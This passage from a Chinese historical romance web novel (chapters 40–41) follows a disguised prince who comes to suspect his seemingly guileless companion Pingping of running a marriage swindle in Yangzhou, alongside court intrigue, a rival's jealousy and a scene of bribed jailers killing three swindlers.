柳湛尚未随她所指望去，便记起正经码头前一段的水路是水上行院，许多花船。眼下天黑，愈发不堪。他不想她懂这些，甚至不愿看见她瞧那些进出花船的男人。心下已是阴郁一片，万分不悦，面上却仍和颜悦色，犹若春风。 他站在萍萍身后柔声道：“现在还没到码头呢，对了，我有要事要和你说。” 萍萍立马转个方向，面对柳湛，正襟危坐：“什么事？ 虽然她已面朝室内，柳湛仍先抬手关了窗户，才再开口：“待会出舱以后，我就要伴林公左右，不能再与你同行。阿罗、音和会和你一起走在后面。” 到扬州会住驿馆，里面有官吏看守，来往还有有番邦使节，没人敢在驿馆动手，就算分开，萍萍也应该安全。 柳湛便没提安危这茬，只道：“到扬州后，我诸事繁忙，可能多半时候也是你和阿罗、音和相处。”柳湛想起之前袁未罗、蒋音和对萍萍多有微词，不由抚上萍萍的手，多费心两句，“其实他二人心地还好，有时候，有些人看着脾气差，说话不中听的人，反而没有什么花心思。反倒是那些花言巧语，辟佞善柔的人不可深交。我相信熟了以后，你会和他俩处成朋友。” 萍萍点头，将柳湛的话听进去。 柳湛牵起她往门口走：“要下船了。” 到门口他主动松开，推门跨出。 她记得他的叮嘱，故意拖慢步子，与柳湛拉开越来越远，最后变成排在袁未罗后面下船。 砰—— 萍萍本能耸了下肩。 砰—— 好大的躁动，她耳朵都要被震聋了。 再一抬头原本只有月没有星的夜空，突然多出数不清的星星，绚烂绽放，而后碎裂，摇摇坠入江中。 是烟花！ 好漂亮！ 比迎亲那天他们望见的烟花恢弘许多。 是萍萍见过最盛大的烟花， 她情不自禁想和柳湛分享，脱口而出：“官——” 霎时记起不能再大呼小叫，闭着嘴，目搜前方，很快找见走在林元舆身后的柳湛。她能瞧见他的后脑勺和头上的玉簪。 砰——砰——砰—— 烟花越来越多了，已经从“星星”变成了“太阳”，照亮整个夜空，而后急速陨落，日没江中。 萍萍一直伸长脖子瞩目柳湛，期盼他能回头，哪怕对视一眼，给予一个心有灵犀的微笑。 但柳湛自始至终，不曾回首。 萍萍说实话，有几分失落，但她很快驱散了这种情绪，默默告诉自己：官人现在很忙，有大事要办，她不能产生一些小儿女情绪给他拖后腿，官人不回头没有错，且她一直能瞧见他的后脑勺，那也是同伫月下，同赏烟花了呀。 萍萍不禁旋起嘴角，自己无声偷乐。 甲板宽阔，袁未罗从走萍萍前面变成并排，瞧见她笑，虽不待见，但是好奇，忍不住问：“你笑什么呢，这么高兴？” “笑烟花漂亮。”萍萍扭头与袁未罗四目相对，嗓音清脆，“高兴大家都能看到。” 袁未罗盯着她的酒窝有些恍神，又被她感染得也想笑，赶紧绷住往前走，却又忍不住望天。 别说，烟花真的很美。 袁未罗凝睇烟花，前方中央，看起来像被拥簇的林元舆也正捋须欣赏，这接风的烟花倒还隆重。 烟花放完，众人沿甲板下船、登陆。 果不其然，十数官吏早候在码头，后方还有四、五十兵卒。 林元舆对这个排场十分满意，但紧接着就见官吏中二人出列，带领身后众人下拜：“下官扬州知府戚有恒拜见中丞大人。 ” “淮南东路提举茶盐高三畏，拜见林公。 ” 林元舆瞬时少去八分得意，暗中啧了下嘴，不是滋味。 这二人中，扬州知府是四品，比林元舆的从三品低，另一位是杨廉的上峰，要案当头，不得不来。 一路四司，其他三位比林元舆品阶高的司监都没有来，主政一方的凌传道更是不见踪影。 林元舆面上却谦和，小跑数步，亲自扶起二位同僚：“快起来快起来，本官是微服私访，你们闹这么大动静，本官都要不好意思了！” 又道，“亲自来迎接，款待隆重，本官何能何德啊！” “林公莫自谦，应该的，应该的。”知府和提举将林元舆迎上车辇，说要先归驿馆安顿，再开洗尘宴。 林元舆同二官员上了头辆马车，柳蒋随后，萍萍果真被安排到很后面，跟蒋音和同乘。 她一进去就跟蒋音和打招呼，可蒋音和却坐到角落里，双手抱臂，眼瞄窗外。 萍萍找了好几个话题，蒋音和皆不应声。 萍萍心想，官人先见之明，蒋娘子果然脾气稍微有那么一点差。 但官人同时也说蒋娘子不是坏人。 她答应了官人要努力做朋友，于是挪个位置，让自己半边脸能挤进蒋音和视线里，冲她微笑。 蒋音和视若无睹。 萍萍掏出喜糖：“你吃糖吗？” 蒋音和一开始没打算理她，萍萍在旁边叨叨：“有樱桃味、桃子味、山楂味……”蒋音和发现如果自己不回答，萍萍很有可能啰嗦不停：“樱桃味就淡一点，桃子味比较香，山楂味我个人——” “不吃！” 萍萍捧着糖笑，努力有用，蒋娘子从不开口到终于回应她了！ 蒋音和冷冷瞥着面前三分傻的女子，想不明白自己为何会输给她？ 不甘心。 “二位娘子，到咯。”车夫提醒，萍萍连忙先钻出去，然后抬手要扶蒋音和：“小心我扶你。” 蒋音和视若无睹，自己踩着脚凳下来，提裙迈步，欲远离萍萍，萍萍连忙追上。 蒋望回回头看见，皱了下眉。 蒋音和瞧见哥哥表情，且再走快就要越过林公了，不和规矩，她不得不放 慢脚步，等待萍萍，与之并排。 萍萍笑着赶上来，蒋音和心里更难受了，像吃了瘪一样。再看萍萍，依旧笑得没心没肺，想到这一路只有自己在生气，蒋音和更郁闷了。 她伸手揉了揉胸口，捋气。 萍萍关切：“怎么，不舒服吗？” 蒋音和才懒得理她，抬腿跨入驿馆。 馆吏们果然安排二女同住，客房在面街二楼，萍萍见对面好像也是客栈，进出两人虽着汉服，但头发金黄。 萍萍便问蒋音和，东京来的娘子大抵见多识广：“那些人是番客吗？” 蒋音和下马时就扫见街对面同文馆的招牌，但她可不想教萍萍，就盼着她出糗呢，到时候让太子殿下看清，他误迷的女人有多愚蒙，不学无术。 蒋音和不答，萍萍也不气，自己继续观察了会，对面客栈陆续又走出四个人，都穿着番邦服饰，她再看招牌同文馆，虽然没见过，但思及“车同轨，书同文”，对面应该是接待外宾和使节的地方。 她在润州卖洗面汤时，接待过两回番商，中有一人还成了朋友。番商们多从海上来，靠明州、台州或者秀州的华亭上岸。他们会带许多稀奇玩意来和汉人做交易。萍萍瞧见同文馆右手边挨着开出一间杂货铺，和同文馆共招牌，便想那里一定能淘到好东西。 官人送了她钗和耳坠子，她一直惦记着，想还一份礼。 等林公、柳湛他们都离开驿馆赴宴，五人中只剩她们两个女的留在馆里时，萍萍就偷偷，不对，是光明正大走到街对面去了。 那杂货铺里果然有好东西！ 占城的乌木、锡兰的茶叶、真腊的椰竹和豆蔻……最吸引她的是一卖男子发簪的柜台。 这不就是她心里惦记在找的东西么？ 瞌睡遇到枕头了。 萍萍先施一礼，而后笑问：“请问有星月相关的簪子吗？劳烦了，谢谢。” “没有呢，”番商立马用不熟的汉语回她，“娘子要不要看下别的，也可以选出许多。” “可我就想要星月相关的，因为我官人送了我一支月钗，我想还礼还是星月。”萍萍指抒自己的想法，又问：“摊主人您是大食来的吧？” “你怎么知道？” “我有一位大食朋友叫蒲希密，口音和您很像。”萍萍娓娓道来，笑容始终挂在脸上，“他那会在润州做生意，你们大食国的乳香非常独特，他卖得很好。还有鲸油，他说是从搁浅的鲸鱼中提炼出来的。” 这番客的确是大食国子民，见她说的不假，又非星月不买，态度诚恳还客气，便从柜台底下拿上来一支簪：“娘子看看，这支可符合？” 这是一支雕成牛角形状的黄玉簪，通体镶嵌三十余颗五角形状的金箔，好似漫天繁星。 萍萍眼睛放亮：“这个好，就要这个！怎么卖？” 官人犹如天上月，她甘愿作月旁星。 “这个是样子，不卖的，但倘若娘子想要，可以等等……”番商又从柜台底下取出一支，黄玉已经雕好，但才刚开始嵌第一颗星星，“我这在做第二支，赶工的话，五到七日能做好，娘子若是等得，可先付两成定金。” “定金多少？” 番商伸一个巴掌。 五十两？萍萍心里一跳，那岂不是全款要二百五十两？她手头没这么多钱。 “一支簪五十两，娘子先付十两定金。” 萍萍长长松一口气，身上就只贴身带了十二两，刚好够付。等五到七日后，润州那边就回款了。 萍萍干脆利落付了钱，心内欢喜，回到驿馆情不自禁取出那支满月钗执着看，越看越配，金对银，玉对琉璃，一簪一钗仿佛天生同属一套。 蒋音和瞧见月钗，又暗自观察萍萍那美滋滋的样子，按捺不住问：“这你的簪子？” 蒋娘子难得和自己说话，萍萍忙如实告知：“官人送我的。” 蒋音和闻言沉默少顷，起身走过来，下令道：“给我戴戴。” 第40章 第四十章 骗子 萍萍本能不喜蒋音和的语气， 心里一紧。 说实话，钗环首饰她觉得是贴身体己物，并不想外借， 且这一支又是官人送的， 重中之重， 珍中之珍。 却又不好拒绝，怕本就不算融洽的关系变得更僵，算了， 蒋娘子只是想试一试， 就借她吧…… 但蒋音和眼下梳的女使丫髻，簪不了钗。萍萍笑道：“你这发型戴不了， 我帮你在头上比一比吧？或者换个发型……” 蒋音和摊手，示意萍萍把月钗交到她手上。 萍萍迟疑一刹，还是给了。 蒋音和比在脑后，对镜自照，握钗的那只手一点点攥紧——她见过的珠宝不计其数，却迫切想把这支不起眼的琉璃钗据为己有，因为这是殿下送的。 但这是殿下送萍萍的， 不是送她的， 想到这蒋音和又生出几分不稀罕， 突然不想要了， 想把月钗掷到地上摔碎。 她越攥越紧，虽然一直挂脸，从不掩藏对萍萍的厌恶， 但此刻残存的理智告诉她，要忍下来。 蒋音和归还月钗，扬起下巴：“不好看。” 萍萍赶紧接过收好， 半点不受蒋音和影响，因为官人觉得好看，她自己觉得好看，那就说明很好看啊！ 旁人她不信的。 这客房是中央客厅，两侧各一个套间卧房，蒋音和不想再搭理萍萍，径自走进她那半间就寝，萍萍却还立在客厅窗边，对面的同文馆正关门，看来夜已深，官人他们怎么还没回来？ 柳湛不回馆，她是没法安心入睡的，便守在窗前望来路，没行人时就瞧对面同文馆的铺子，番商们不仅门板一块块卡上，锁住，还把檐下的灯笼取下，吹灭，再挂上去。 “这灯笼我吹了啊。” 萍萍脑海里突然没由来冒出一句话，是她自己的声音。 “吹吧。”这是官人在说话，在萍萍耳畔萦绕回响，接着便响起哗哗水声，记忆里浮现半只舟，余下半边和周遭背景全没在夜里，黑黢黢不知身在何处。 只有半只船头，甲板上支杆晒着衣服，官人坐在船沿上，她吹完灯，也来到他身边。明明黑天暗地，两人周围却亮着，萍萍手撑甲板慢慢坐下。官人见状覆上她那只撑着的手，等她坐稳时，就默契变成十指紧扣。 江风吹面，他忧心忡忡：“不知道嬷嬷什么时候才能好。”少年望天，但天也漆黑，“我一定要救好她。”他转头朝萍萍看来，“我小时候身子特别弱，有一回卧床许久，大家都说我活不了了，是嬷嬷在娑罗树下为我求了七天七夜，以性命发愿，求得我转醒过来。这件事后，我的小名就改成了娑罗奴。” 娑罗奴。 娑罗奴。 萍萍心中默念，猛地震肩，她想起来官人小名叫什么了！他告诉过她的！ 窗外马蹄阵阵，萍萍低头俯瞰正是柳湛归来，她愈发欢喜，撑着床楹胸脯起伏，少倾，急急从三楼跑下，去找柳湛，分享这个好消息。 她还不知道柳湛住哪间房，到一楼时转着圈环扫，瞅见柳湛和蒋望回小似两个青点，前后进入远处某间客房。萍萍急忙穿庭院，过长廊，朝那房间跑去，下台阶复上台阶，心急忘了叩门，径直推开，然后就瞧见柳蒋二人立定原地，皆看着她。 三个时辰前，车中。 柳湛和蒋望回对坐，两两无话，只闻车轱辘声。 良久，垂眸小憩的柳湛挑起眼皮，笑问：“在愁什么了？从驿馆起你就愁眉不展。” 蒋望回嗫嚅，方才驿馆下车时，瞅见妹妹公然给萍娘子甩脸，他担心共处一室，会矛盾更深。 蒋望回犹豫少倾，叹道：“音和这些年被我们宠坏了，有时候骄纵得过分。” 眉眼间浮现深深忧虑。 柳湛淡笑，蒋音和到这个年纪还没磨平骄横，是因为她有一位好爹爹，还有一位好兄长。 但坏也坏在这二位。 本朝武将凋零，只蒋经略相公一人能坐镇西北，抵挡万兵。西宁陕西两路，官家找不到替换人选，又要确保蒋经略不生异心，只能常年留他一双儿女在京中。 柳湛记得有两年蒋望回去西宁随军了，官家急得，估计夜晚都睡不好吧，催他给伴读写信，旁敲侧击，询问归期。 柳 湛还记得，去年家宴官家夸赞蒋音和端方，说什么看着她长大，内心早如亲生女儿一般疼爱，还让蒋音和坐下同吃，她眼眶浸湿，显然当了真。 而柳湛，差点憋笑憋出内伤。 官家对亲生的两位公主宠是宠，但犯了错该训则训，几时纵容过？ 明知道树长歪了，不但不修剪，反而有意助长歪枝。 而他柳湛，想登大宝，要比官家更甚，不仅需要经略相公助力，他还要用蒋望回。 所以再不喜蒋音和，也允她伴在身边。 但柳湛同样不会指出蒋音和的错误，反倒宽和劝慰蒋望回：“小孩子嘛，难免气性大，别太苛责她。” 蒋望回蹙眉抿唇，欲言又止，殿下将音和想得太好，压根想不到会发生什么。 蒋望回纠结了会，终究没有讲出对妹妹和萍娘子共处一室的担忧，只想着，万一妹妹真伤了对方，他替她扛罪，十倍偿还萍娘子。 柳湛瞥见蒋望回眸中愧色，不动声色，君臣之道，臣子往往抱罪怀瑕，才更效死输忠。 他要的就是蒋望回，乃至经略相公这份内疚，至于音和，柳湛并不在意，“贤者宠至而益戒，不足者为宠骄”，像蒋望回，亦受恩荣宠，却知戒骄戒躁，只有才智不足的人才恃宠而骄，蒋音和将来要是犯下大错，那也不是他和官家宠坏的，是她自己德不配位。 其实，柳湛早猜到蒋望回在忧虑什么，担忧二女共处，蒋音和会欺负萍萍嘛！ 柳湛觉得这是萍萍注定要经历的。 为着权均力齐，维持稳定，他日后势必会纳各家贵女，免不了也有跟蒋音和一样跋扈的，萍萍必须学会面对，斡旋。 他相信自己看中的女人不会差，总有一天她会游刃有余。 只是，当中难免要受委屈。 想到这柳湛有些心软，想着到时无论妾室如何无，一定要挑一位大度贤德的主母，让萍萍免受磋磨。 察觉到马车越行越慢，估摸到地方了，柳湛收回心神。 蒋望回亦察觉变慢，挑一指帘缝环扫街景，而后落帘。 “到啦，到啦！”车夫在外头囔。 蒋望回和柳湛先后下车。 戚知府包下的酒楼足高四层，飞桥栏槛，灯烛晃耀。 林元舆被诸官吏拥簇前面走，柳湛和蒋望回、袁未罗落到人群后面，慢行。 袁未罗读酒楼招牌：“碧云楼。”他摇晃脑袋，吟道，“夜市千灯照碧云，高楼红袖客纷纷。” 这话不像小内侍会懂的，柳湛闻言瞥了袁未罗一眼，袁未罗忙指蒋望回：“是蒋殿帅教我念的。” 这更令柳湛诧异，他转头冲蒋望回挑眉，噙笑：“你几时学会教这种诗了？” 蒋望回避开对视，表情颇不自然。 柳湛摇头直笑，少倾，又收敛表情，正色劝谏：“那终究不是什么好地方，你马上过完生辰就二十五了，”比柳湛大将近两岁，“有没有想过挑门亲事，定下来？” 蒋望回摇首：“遇良人先成家，遇贵人先立业，我先遇着的是贵人。” 柳湛莞尔：“你真是越来越会说话了。” 他脚下往前多走了半步，蒋望回在斜后方紧紧盯着他的侧颜。 众人进到碧云楼内里，正堂颇为开阔，煌煌走马灯自四楼天顶垂下，珠帘绣额，犀皮香桌。 柳湛隐在后排不起眼的角落里吃席，垂眼将一杯酒送至唇边，看起来像在呷酒，实则余光已将这大堂四面八方能见处扫了个遍，没有埋伏，那些三层、四层的漏窗里也没有人。 凌传道没有在暗处偷窥。 他左手边坐蒋望回，右手袁未罗，本以为无人打搅，前面的官员却非要转过来同他仨攀谈，自称本地巡检，姓袁，就要敬酒。 柳湛只得起身，举酒回敬，笑道：“好巧，你是巡检，我刚好是巡按。” 诸本地官员早依回报，将柳蒋二人归入御史台，巡检丝毫不疑柳湛作假，笑问详细，柳蒋二人提前做过功课，对答如流。柳湛报上一杨姓巡按的名字，冒名顶替。 谈笑间琵琶声起，舞乐奏响，那官员回过头去介绍：“三位有眼福了，南地润泽多水，我们扬州的爱卿小。姐，比你们东京的更娇小玲珑、秀丽温顺。尤其马上要出来阮行首，各位可瞧好了，她是官院的花魁娘子，色艺双绝。” 柳湛配合着抬眼，一水官妓，个个青春姣好，这才是真正十六、七年纪。 他想萍萍那户籍上也写十六、七岁，不由微笑，轻微摇头，自己竟喜欢显老的。 中央女子正于鼓上赤脚起舞，足若金莲，身姿纤细，春风髻，慵懒妆。有一说一，的确是柳湛一路下江南见过最好看的女子，宫中亦不多见。 论美貌窈窕，萍萍可能还不及这花魁三分。 但柳湛以为，萍萍有股她们都没有的娇憨。 他瞥向案上佳肴，有人喜好山珍海味，有人独爱一颗酸酸甜甜的梅子。 等袁巡检回身坐好，柳湛就即刻垂眼不再瞥歌舞美人，杯中酒恍恍惚惚浮现萍萍笑靥。 他有些想她了。 华丽又无聊的宴席，喧嚣中，他只想回驿馆去。 散席后，柳湛随在队伍后面，不得走快，不禁有些兴致缺缺，归心似箭，就在他跨过门槛，准备上车时，忽有一小娘子从街边冲出，意图抱住。 柳湛侧身避过，顿时有人上来挡住，亦有去押小娘子的差人，那小娘子却仍不管不顾，哭泣嘶喊：“官人！你终于来找我了官人！” 无比熟悉的情景言语，柳湛两脚定住，身形骤僵。 他促眸冷眼将那女子的脸来来回回审视了三遍，既急速又仔细——她跟萍萍长得完全不同，眼长眉细，眼下有痣，身形瘦弱，嗓子也比萍萍更高。 但说的话，神态言行却几若胞胎，哭起来一样梨花带雨。 “官人你不记得我了吗？”女子红着眼，扪心哭诉，“我是思思啊，我们成过亲，拜过堂，还曾约好要在扬州开一家茶坊，你说，坊里一定要有义兴的阳羡，湖州的紫笋，最好能再去一趟建州，觅些好团饼才好开张。” 动静颇大，周遭本地官吏皆围拢来，林元舆在远处看得直皱眉：怎么又来一遍？ 近处蒋望回和袁未罗皆一脸错愕。之前坐他们前面的袁巡检凑到柳湛身边，直指女子骂道：“巡按莫要被这贼贱人骗了，多半是编的，就想同你攀亲！” 这袁巡检昔年也曾是个心慈面软的痴心人。 他在江宁府当值，秦淮河畔，某位琵琶娘子如出一辙，死死抱住她认亲。事后详细询问，娘子自言不是爱风尘，母亲多病爹爹好赌，家里又重男轻女，将她卖上花船。 她不愿卖。身，拼了命跑出来，喊袁巡检官人也只是想寻求庇护，多有冒犯，求他莫气。 他起了恻隐心起，替她赎身，带回家好好过日子，一日下夜，带了她喜欢的桂花糕回家，却发现琵琶娘子卷跑家私，人去家空。 后来袁巡检轮换扬州，竟又重逢，瘦西湖畔，仍是一样话术，连那龟公牙子都是熟脸，袁巡检将他们下狱，拷打得知实情，果然是一伙骗子。 想到这袁巡检红了两眼，咬牙切齿：“她们先喊你官人，熟了就骗心骗钱，反正每一步都唯利是图！” 柳湛紧紧盯着那女子，眼眸幽黑，语气沉沉，一字一句：“这种事经常发生吗？” “可不，淮扬一带固定骗术！”袁巡检毫不犹豫肯定，越是美貌的女人越不能信！ 柳湛如当头棒喝，通体冰凉。 如果仅此一件，可能还不一定信。但之前诸多疑点，年纪户籍，碑林护她的飞刀……桩桩件件，本就是卡在心里的刺，这会 全扎进肉里，还要剜起来，搅一搅，柳湛痛得弓起背，萍萍对他竟也是这种套路。 算计，果然还是算计。 众目睽睽下，柳湛向林元舆恳请详审这名小娘子，袁巡检自告奋勇帮忙，又引荐了几位得力的刑狱司同僚。入狱以后，刑具还没上呢，小娘子就招了，旋即逮捕了两名同伙，审讯一番，果然情骗。 “这下真相大白了。”袁巡检长吁。 柳湛缓慢扭头看向袁巡检：“抱歉刚来扬州，就旁生事端，给诸位凭添麻烦。” 那俩刑狱司的节级忙回：“客气客气，又不是你的错，是这贼贱人骗人！” “好啦，这就是一折小戏，演完就别想了，杨巡按不要太放心上。” “就是，巡按可以专心辅助林公了。” 柳湛幽幽听他们全部讲完，才缓慢开口：“能否借我一匹刑狱司的马？” “能啊。”节级给柳湛牵来一匹枣红马。 柳湛不雇车，径直翻身上马，往驿馆回赶：“驾——” 急驰如星，遇阻即跃，月照归途。 蒋望回随林元舆先回驿馆，原本打算去见一趟萍萍，然而还未出房门，就得知官人传来新圣谕，只得先去交接。 圣谕两封，蒋望回将御史台那封递呈林元舆，还有一封殿下的。 他刚过走到驿馆中庭，就听马蹄阵阵，循声望向门外，正见柳湛跃下马，缰绳甩给门童，自己径直入内，脚下生风。 蒋望回急忙拐道出来迎柳湛，柳湛却与之擦身，脸色阴沉，蒋望回再转身追上。柳湛依旧不曾放慢脚步，眼看到了楼梯口，蒋望回脱口：“有信。” 柳湛这才止步。 改到柳湛房中，蒋望回双手呈递圣谕，柳湛拆了就读，始终阴着一张脸，眸促近狭，蒋望回即不能瞧见殿下的眸子，也几乎不能察觉吐纳。 蒋望回不曾偷看过圣谕，但很早就晓得官家给殿下来信，抬头必呼娑罗奴，殿下也知道他知。 蒋望回便借此事论事：“当年昭仁太后在娑罗树下发愿，七天七夜，求得郎君痊愈。自此郎君改名娑罗奴，皈依释祖，祈愿余生皆得佛佑。毕竟浮图慈悲，救生最大。” 柳湛缓缓转脑袋望向蒋望回，眼神冷得骇人，无一言眸中已道尽质问：你是在为她求情吗？ 蒋望回与之对视，始终紧抿双唇，郎君日日怀疑萍娘子阴谋算计，真验证算计了，却又气到不行。 郎君自己还没明白。 察觉响动，二人同时扭头望向门口，半晌，萍萍只手推开门，另一手仍提着裙子，眼神热切：“官人——” 柳湛依旧紧绷双颊，沉声下令：“希颜，你先出去。” 蒋望回屏退，顺手带上门的刹那，就听里面萍萍复喊：“官人，我——” “等一下。”柳湛阻道，仍死死盯着门口。 萍萍随他视线也看向门口，心生疑惑。门外，蒋望回心知柳湛不愿他旁听，不再伫立，迈开腿走远，故意发出脚步声。 萍萍这下明白了，于是等脚步由大变小，直到彻底听不见了，她才朝柳湛走近数步，重新开口：“官人我又想起来一件事。” 她笑着告诉他，迫不及待分享喜悦：“我记起你的小名了，叫娑罗奴！” 柳湛浑身上下阴郁犹如寒潭，沉沉盯着萍萍：又是这样，上回奏琴就是听后复述，撒谎骗人，这回偷听蒋望回言语，又来骗他。 他已经不想去思考以萍萍的耳力，方才到底听不听得到？ 也许她不会武功亦是藏拙骗局。 柳湛忽自心底生出一股暴戾，迅速塞满胸腔，他想直接抬手，携着万钧怒意扼上她的脖颈，掐死这个骗子。 柳湛的视线在萍萍颈上游移，为了抑制冲动，他亦喉头滑动。 萍萍满心满意只有欢喜，见此会错了意，她把柳湛的眼神读成一种男人对女人的侵掠，又因为上回喂糖反馈不错，她记得官人另有三处摸不得，一是耳后的痣，还有一处是喉结。 离得近，萍萍直接踮脚倾身，吻上柳湛喉结，还不是蜻蜓点水，而是含住了用力吮吸。 柳湛暴怒，果然是下贱轻浮的东西！ 他要杀了她，立刻、马上，脑子里想的是抬手，手却始终垂着，攥成拳。 柳湛的气息越来越紊乱，闭起眼羽睫微颤。他一把提起萍萍，胡乱啃了几口，直到找准她的唇。四瓣相粘，他的手不由自主在萍萍背上挪动，由提改托，兜着她，身也下倾将就她的身高。萍萍本能闭眼，全身心投入，柳湛却急急睁眼，静观萍萍，看她微微歪脑袋，胳膊也搭上他肩膀，勾着脖子，呵，这个下贱的女人，惯会勾。引人。 他自以为眸中全是冷意，又重新闭上眼，配合萍萍。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第41章 第四十一章 私相授受 她垂首， 他就默契去咬她的上唇，她再仰头，他就改粘向下唇， 一霎恶劣， 想就这样要了她， 却又不甘心委屈自己，恨上心了，刻意齿上加重， 衔起来再一松， 籍此宣。泄。 萍萍被咬痛，本能咧嘴。 柳湛轻。喘与之分开， 仍阖着眼，双手捧起她的脸：“那你记起来我为什么起这个小名了吗？” 萍萍亦闭着眼：“你嬷嬷当年在娑罗树下发愿，七日七夜，求得你病愈，自此改名。” 柳湛在她额上落下一吻，心中冷笑，蒋望回说的是昭仁太后， 萍萍却复述嬷嬷， 看来她不是一个小骗子， 而是大骗子：“你上回想起来的那首曲子叫什么， 还记得吗？” “《松入风》。” “除了我，可还曾重逢别的故人？”柳湛察觉到有人靠近，直起身将萍萍脑袋轻轻按住怀中。 她两臂紧箍着他， 脸颊在柳湛胸口摩挲，眼睛仍闭：“什么故人？” 柳湛余光已经眺向门口，按住她脑袋的手抚了抚头发：“就是你失忆前就认识的。” “没有啊， 我就重逢官人你一人。”她贴着他，“其他人都找不见了，不知道是不是我记错。” 柳湛想起她之前金山寺的说辞，勾唇冷笑。 “大人，您在里面么？” 柳湛闻声推开萍萍，上前开门，来的是馆吏并驿夫，方才柳湛甩下缰绳就走，不曾交待半句。驿夫牵回马厩才发现马鞍上绣着刑狱司标识。 驿馆经常有人借马，驿夫可以帮忙归还，便问柳湛要不要还。 柳湛笑着点头：“那劳烦二位大人了。” 他和颜悦色，人又俊逸，馆吏心里亲切，不由多说两句：“我们这缝补洗衣，代煎药材，跑腿帮闲都能做，大人有需要尽管招呼。” 萍萍闻言也走到门口，馆吏和驿夫瞧见，上下打量她，又挑起眼皮去看高处柳湛的脸。柳湛见状毫不掩饰朝萍萍蹙眉。 她没瞧见，冲馆吏笑：“你们这还能代煎药？” 话一出柳湛就扭头端详萍萍——她还要吃什么药？不是停了吗？ 他立马想到厨房里余下那几包，难道被带来扬州？ 柳湛什么也不说，只对视萍萍，等她自己开口：“上回蒋小官人劝我听女医的，坚持吃一年，我觉得他说得对，是应该把气血补起来。” 馆吏平时也泡黄芪枸杞喝，闻言附和：“补气的小方子可以长期喝点，有益无害。” “既然他们都这么说，那我以后继续帮你抓药。”柳湛不紧不慢启合双唇，从来算计他的人都不会有好下场，骗之以十，还之以百。 “好啊。”萍萍绽笑，官人总是这么体贴，就想抬手去挽柳湛手臂，倏地记起林公不喜下属和亲眷亲昵，眼下馆吏驿夫俱在场，萍萍攥拳忍住。 馆吏驿夫客套两句，与二人辞别，柳湛手放门上，没有要关的意思。 萍萍伸着脖子，小声同他说：“他们 叫你大人唉。” 他不是长随吗？ 柳湛坦然自若：“只是一种称呼，这馆里谁都这么叫，我方才不也称他俩大人。” 萍萍想想，有道理，正准备点头，柳湛柔声道：“时候不早了，你也回去早点睡吧。” 萍萍连点两下下巴：“好，那我回去了。” 她还算认路，绕长廊穿庭院，院中白日盛放的海棠，大部分在晚间化作簇簇黑影，只有被廊中灯笼照到的一小部分，能看清粉白娇花。 夜已深，萍萍担心吵到别的旅客，每一步都先脚尖点地，落得极轻，因此走得并不算快。 蒋望回隐在距离楼梯不远的转角墙后，看到她出现在视线里，心里终于松口气——还好，萍娘子还活着，郎君没有冲动。 萍萍没瞧见他，走到两人距离中间一半就转身，走侧边楼梯上楼，蒋望回却目力极佳，连她唇上一道破口都瞧得一清二楚。 萍萍回三楼，蹑手蹑脚进屋，谁知原本已经睡下的蒋音和穿戴整齐，倚靠她那半边拱门，专门守她：“你去做什么了？鬼鬼祟祟！” “我去见我官人了。”萍萍旋即接话，而且没有鬼鬼祟祟，是光明正大去见，就像她现在回答，面带微笑，坦荡光明。 蒋音和定定看她两眼，冷哼一声，拂袖离去。 萍萍挠挠鬓角，官人说蒋娘子脾气大，这也忒大了点。 但她没多想，不久就抛掷脑后，睡了个无梦好觉。 反倒是蒋音和，闭眼以后脑子里尽想这事，翻来覆去难入眠，最后气得坐起来。 早晨蒋望回瞧见，兄妹俩私下说话，蒋望回就劝：“瞧你眼圈都重了，可是昨晚没睡好？少想些，多宽心。”蒋望回阖唇，抬首上望，萍萍正下楼，穿了件揉蓝衫子，衬得肤色冷白，她似乎穿不惯脚上的弓鞋，提着裙，总怕踩着，却又贪快，俨然一只雀跃地翠鸟。 萍萍瞟见蒋望回，旋即绽笑，酒窝一双：“小官人早。” “萍娘子早。”蒋望回一板一眼拱手。 萍萍移目看向他身边蒋音和：“蒋娘子，去用膳吗？” 驿馆的早膳分两种，前者像林元舆，自有馆吏送入房中，后者类似萍萍，自个去公厨用膳。 蒋音和比她早些下楼，不知吃饭没有？ 音和压根不想理萍萍，但哥哥在场，只能吁着气答：“我待会去。” “那我先去了。”萍萍说着绕过俩兄妹去公厨。 才走十来步，蒋音和就禁不住盯着萍萍的背影抱怨：“她倒是睡得好。” 蒋望回接话，答非所问：“这里的煮三丝还不错，是扬州本地的地道菜，你待会可以尝尝。” “家里又不是没做过。”蒋音和白眼，已眺不见萍萍背影，她向哥哥诉苦：“她昨夜很晚才回来，口脂掉得干干净净。” 蒋望回负手抬眼，这就是妹妹恨了一晚的原因？ “我看你平时吃面喝茶，口脂也没了。” 蒋音和急得想跺脚，压低声音：“她嘴上还有咬痕！” “吃面不小心咬着自己吧。” “她还死缠烂打逼郎君送她一支钗子，私相授受，叫人不耻！” 蒋音和末了几字音调拔高，蒋望回急忙按住她的胳膊，示意小心。片刻后，他缓缓放开，沉静道：“你到底想说什么？” “我想毁了那支钗子……” “别犯蠢。”蒋望回即刻打断，那是殿下给予的。 “我知道——”蒋音和尾音拉长，伸手牵住哥哥袖子，“我跟她住一起，亲自出手必定被怀疑，所以我想让你找个机会，帮我毁了。”蒋音和摇哥哥手臂，“好阿兄，就再帮我一次。” 蒋望回将她手从自己臂上挪开，斩钉截铁：“休想。” 说罢调头，蒋音和直眨眼：“唉、唉，你别走啊！” * 刑狱司。 本朝虽有《诈伪律》，但轻重界定模糊，从仅财物归还原主到弃市，皆可以判。 那柳湛的“新娘子”并二同伙收人钱财，事前说好，挨十棍沙威棒就放，但那棒子只轻飘飘挨在身上，不做真打。 眼下两节级也是这么说的：“挨几下棍子，做做样子，才好放你们。” “晓得晓得，大人辛苦。”那被绑在条凳上的仨骗子忙不迭点头，“待会小的们一定奋力大叫，演得逼真。” 节级点点头，弯腰逐一给三人嘴上黏住封条。 三人笑犹挂脸上，有二人面露不解，还有一最聪明的，反应过来，面色倏白。 二节级在一排沙威棒里挑了两只粗过手臂，扎实的榉木杖，一棍接一棍，不停歇打下去，十棍之后三人仍在呜呜，再十棍，犹喘气，再二十棍，人没了。 刑狱里每天死很多人，无人认领的尸体自有捡尸人收到一处，先搜一遍身上，男的丢乱葬岗，女的配冥婚。 节级们是不做这类小事的，洗干净两手，帕子擦擦，更一身衣，散值。 家住得不远，提灯过桥，凉风飕飕，再往下走一点，桥边下坡，泥土偏湿，一节级脚下打滑，那早早候在桥洞下青罗衫男子急忙跨上，扶住：“辛苦大人绕路。” 说时将手中沉甸甸两只锦袋分别递出。 